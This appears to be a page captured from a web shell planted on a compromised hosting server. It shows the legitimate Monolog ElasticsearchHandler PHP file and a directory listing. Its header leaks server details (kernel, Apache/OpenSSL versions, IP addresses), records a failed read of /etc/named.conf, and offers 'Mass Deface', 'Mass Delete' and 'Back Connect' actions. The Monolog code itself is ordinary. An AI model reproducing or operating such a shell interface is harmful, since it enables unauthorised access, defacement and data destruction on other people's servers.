ULTRA [ vsambulanceservice.com ]

Linux vps122157.inmotionhosting.com 4.18.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64

Apache/2.4.62 (Unix) OpenSSL/1.1.1k

199.250.210.201 | Your IP: 216.73.216.228

Cant read [ /etc/named.conf ]

[ drwxr-xr-x ]

/ home / sspsof5 / ayodhyadhamholidays.com / vendor / monolog / monolog / src / Monolog / Handler /

Home Upload Mass Deface Mass Delete Back Connect Notify

ElasticsearchHandler.php

<?php declare(strict_types=1);

/*
 * This file is part of the Monolog package.
 *
 * (c) Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Monolog\Handler;

use Elastic\Elasticsearch\Response\Elasticsearch;
use Throwable;
use RuntimeException;
use Monolog\Level;
use Monolog\Formatter\FormatterInterface;
use Monolog\Formatter\ElasticsearchFormatter;
use InvalidArgumentException;
use Elasticsearch\Common\Exceptions\RuntimeException as ElasticsearchRuntimeException;
use Elasticsearch\Client;
use Monolog\LogRecord;
use Elastic\Elasticsearch\Exception\InvalidArgumentException as ElasticInvalidArgumentException;
use Elastic\Elasticsearch\Client as Client8;

/**
 * Elasticsearch handler
 *
 * @link https://www.elastic.co/guide/en/elasticsearch/client/php-api/current/index.html
 *
 * Simple usage example:
 *
 *    $client = \Elasticsearch\ClientBuilder::create()
 *        ->setHosts($hosts)
 *        ->build();
 *
 *    $options = array(
 *        'index' => 'elastic_index_name',
 *        'type'  => 'elastic_doc_type',
 *    );
 *    $handler = new ElasticsearchHandler($client, $options);
 *    $log = new Logger('application');
 *    $log->pushHandler($handler);
 *
 * @author Avtandil Kikabidze <akalongman@gmail.com>
 * @phpstan-type Options array{
 *     index: string,
 *     type: string,
 *     ignore_error: bool,
 *     op_type: 'index'|'create'
 * }
 * @phpstan-type InputOptions array{
 *     index?: string,
 *     type?: string,
 *     ignore_error?: bool,
 *     op_type?: 'index'|'create'
 * }
 */
class ElasticsearchHandler extends AbstractProcessingHandler
{
    protected Client|Client8 $client;

/**
     * @var mixed[] Handler config options
     * @phpstan-var Options
     */
    protected array $options;

/**
     * @var bool
     */
    private $needsType;

/**
     * @param Client|Client8 $client  Elasticsearch Client object
     * @param mixed[]        $options Handler configuration
     *
     * @phpstan-param InputOptions $options
     */
    public function __construct(Client|Client8 $client, array $options = [], int|string|Level $level = Level::Debug, bool $bubble = true)
    {
        parent::__construct($level, $bubble);
        $this->client = $client;
        $this->options = array_merge(
            [
                'index'        => 'monolog', // Elastic index name
                'type'         => '_doc',    // Elastic document type
                'ignore_error' => false,     // Suppress Elasticsearch exceptions
                'op_type'      => 'index',   // Elastic op_type (index or create) (https://www.elastic.co/guide/en/elasticsearch/reference/current/docs-index_.html#docs-index-api-op_type)
            ],
            $options
        );

if ($client instanceof Client8 || $client::VERSION[0] === '7') {
            $this->needsType = false;
            // force the type to _doc for ES8/ES7
            $this->options['type'] = '_doc';
        } else {
            $this->needsType = true;
        }
    }

/**
     * @inheritDoc
     */
    protected function write(LogRecord $record): void
    {
        $this->bulkSend([$record->formatted]);
    }

/**
     * @inheritDoc
     */
    public function setFormatter(FormatterInterface $formatter): HandlerInterface
    {
        if ($formatter instanceof ElasticsearchFormatter) {
            return parent::setFormatter($formatter);
        }

throw new InvalidArgumentException('ElasticsearchHandler is only compatible with ElasticsearchFormatter');
    }

/**
     * Getter options
     *
     * @return mixed[]
     *
     * @phpstan-return Options
     */
    public function getOptions(): array
    {
        return $this->options;
    }

/**
     * @inheritDoc
     */
    protected function getDefaultFormatter(): FormatterInterface
    {
        return new ElasticsearchFormatter($this->options['index'], $this->options['type']);
    }

/**
     * @inheritDoc
     */
    public function handleBatch(array $records): void
    {
        $documents = $this->getFormatter()->formatBatch($records);
        $this->bulkSend($documents);
    }

/**
     * Use Elasticsearch bulk API to send list of documents
     *
     * @param  array<array<mixed>> $records Records + _index/_type keys
     * @throws \RuntimeException
     */
    protected function bulkSend(array $records): void
    {
        try {
            $params = [
                'body' => [],
            ];

foreach ($records as $record) {
                $params['body'][] = [
                    $this->options['op_type'] => $this->needsType ? [
                        '_index' => $record['_index'],
                        '_type'  => $record['_type'],
                    ] : [
                        '_index' => $record['_index'],
                    ],
                ];
                unset($record['_index'], $record['_type']);

$params['body'][] = $record;
            }

/** @var Elasticsearch */
            $responses = $this->client->bulk($params);

if ($responses['errors'] === true) {
                throw $this->createExceptionFromResponses($responses);
            }
        } catch (Throwable $e) {
            if (! $this->options['ignore_error']) {
                throw new RuntimeException('Error sending messages to Elasticsearch', 0, $e);
            }
        }
    }

/**
     * Creates elasticsearch exception from responses array
     *
     * Only the first error is converted into an exception.
     *
     * @param mixed[]|Elasticsearch $responses returned by $this->client->bulk()
     */
    protected function createExceptionFromResponses($responses): Throwable
    {
        foreach ($responses['items'] ?? [] as $item) {
            if (isset($item['index']['error'])) {
                return $this->createExceptionFromError($item['index']['error']);
            }
        }

if (class_exists(ElasticInvalidArgumentException::class)) {
            return new ElasticInvalidArgumentException('Elasticsearch failed to index one or more records.');
        }

if (class_exists(ElasticsearchRuntimeException::class)) {
            return new ElasticsearchRuntimeException('Elasticsearch failed to index one or more records.');
        }

throw new \LogicException('Unsupported elastic search client version');
    }

/**
     * Creates elasticsearch exception from error array
     *
     * @param mixed[] $error
     */
    protected function createExceptionFromError(array $error): Throwable
    {
        $previous = isset($error['caused_by']) ? $this->createExceptionFromError($error['caused_by']) : null;

if (class_exists(ElasticInvalidArgumentException::class)) {
            return new ElasticInvalidArgumentException($error['type'] . ': ' . $error['reason'], 0, $previous);
        }

if (class_exists(ElasticsearchRuntimeException::class)) {
            return new ElasticsearchRuntimeException($error['type'].': '.$error['reason'], 0, $previous);
        }

throw new \LogicException('Unsupported elastic search client version');
    }
}

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	sspsof5/sspsof5	drwxr-xr-x	2025-04-23 04:50:44
..	dir	-	sspsof5/sspsof5	drwxr-xr-x	2025-04-23 04:50:44
Curl	dir	-	sspsof5/sspsof5	drwxr-xr-x	2025-04-23 04:50:44
FingersCrossed	dir	-	sspsof5/sspsof5	drwxr-xr-x	2025-04-23 04:50:44
Slack	dir	-	sspsof5/sspsof5	drwxr-xr-x	2025-04-23 04:50:44
SyslogUdp	dir	-	sspsof5/sspsof5	drwxr-xr-x	2025-04-23 04:50:44
AbstractHandler.php	text/x-php	2.61 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
AbstractProcessingHandler.php	text/x-php	1.46 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
AbstractSyslogHandler.php	text/x-php	3.15 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
AmqpHandler.php	text/x-php	4.95 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
BrowserConsoleHandler.php	text/x-php	9.02 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
BufferHandler.php	text/x-php	4.55 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
ChromePHPHandler.php	text/x-php	4.79 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
CouchDBHandler.php	text/x-php	2.55 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
CubeHandler.php	text/x-php	5.32 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
DeduplicationHandler.php	text/x-php	6.25 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
DoctrineCouchDBHandler.php	text/x-php	1.12 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
DynamoDbHandler.php	text/x-php	1.89 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
ElasticaHandler.php	text/x-php	3.66 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
ElasticsearchHandler.php	text/x-php	7.1 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
ErrorLogHandler.php	text/x-php	2.61 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
FallbackGroupHandler.php	text/x-php	1.68 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
FilterHandler.php	text/x-php	6.92 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
FingersCrossedHandler.php	text/x-php	7.99 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
FirePHPHandler.php	text/x-php	5.03 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
FleepHookHandler.php	text/x-php	3.44 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
FlowdockHandler.php	text/x-php	3.4 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
FormattableHandlerInterface.php	text/x-php	757 B	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
FormattableHandlerTrait.php	text/x-php	1.24 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
GelfHandler.php	text/x-php	1.42 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
GroupHandler.php	text/x-php	3.19 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
Handler.php	text/x-php	1.21 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
HandlerInterface.php	text/x-php	2.71 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
HandlerWrapper.php	text/x-php	3.28 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
IFTTTHandler.php	text/x-php	2.22 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
InsightOpsHandler.php	text/x-php	2.04 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
LogEntriesHandler.php	text/x-php	1.86 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
LogglyHandler.php	text/x-php	4.02 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
LogmaticHandler.php	text/x-php	2.57 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
MailHandler.php	text/x-php	2.19 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
MandrillHandler.php	text/x-php	2.48 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
MissingExtensionException.php	text/x-php	473 B	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
MongoDBHandler.php	text/x-php	2.31 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
NativeMailerHandler.php	text/x-php	5.08 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
NewRelicHandler.php	text/x-php	5.7 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
NoopHandler.php	text/x-php	908 B	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
NullHandler.php	text/x-php	1.3 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
OverflowHandler.php	text/x-php	4.21 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
PHPConsoleHandler.php	text/x-php	12.01 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
ProcessHandler.php	text/x-php	5.36 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
ProcessableHandlerInterface.php	text/x-php	1.16 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
ProcessableHandlerTrait.php	text/x-php	1.58 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
PsrHandler.php	text/x-php	2.41 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
PushoverHandler.php	text/x-php	7.92 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
RedisHandler.php	text/x-php	2.67 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
RedisPubSubHandler.php	text/x-php	1.64 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
RollbarHandler.php	text/x-php	3.48 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
RotatingFileHandler.php	text/x-php	6.97 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
SamplingHandler.php	text/x-php	3.83 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
SendGridHandler.php	text/x-php	3.02 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
SlackHandler.php	text/x-php	6.99 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
SlackWebhookHandler.php	text/x-php	3.79 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
SocketHandler.php	text/x-php	11.84 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
SqsHandler.php	text/x-php	1.71 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
StreamHandler.php	text/x-php	7.96 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
SymfonyMailerHandler.php	text/x-php	3.45 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
SyslogHandler.php	text/x-php	1.65 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
SyslogUdpHandler.php	text/x-php	4.6 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
TelegramBotHandler.php	text/x-php	9.22 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
TestHandler.php	text/x-php	6.6 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
WebRequestRecognizerTrait.php	text/x-php	504 B	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
WhatFailureGroupHandler.php	text/x-php	1.87 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04
ZendMonitorHandler.php	text/x-php	2.78 KB	sspsof5/sspsof5	-rw-r--r--	2025-03-24 10:02:04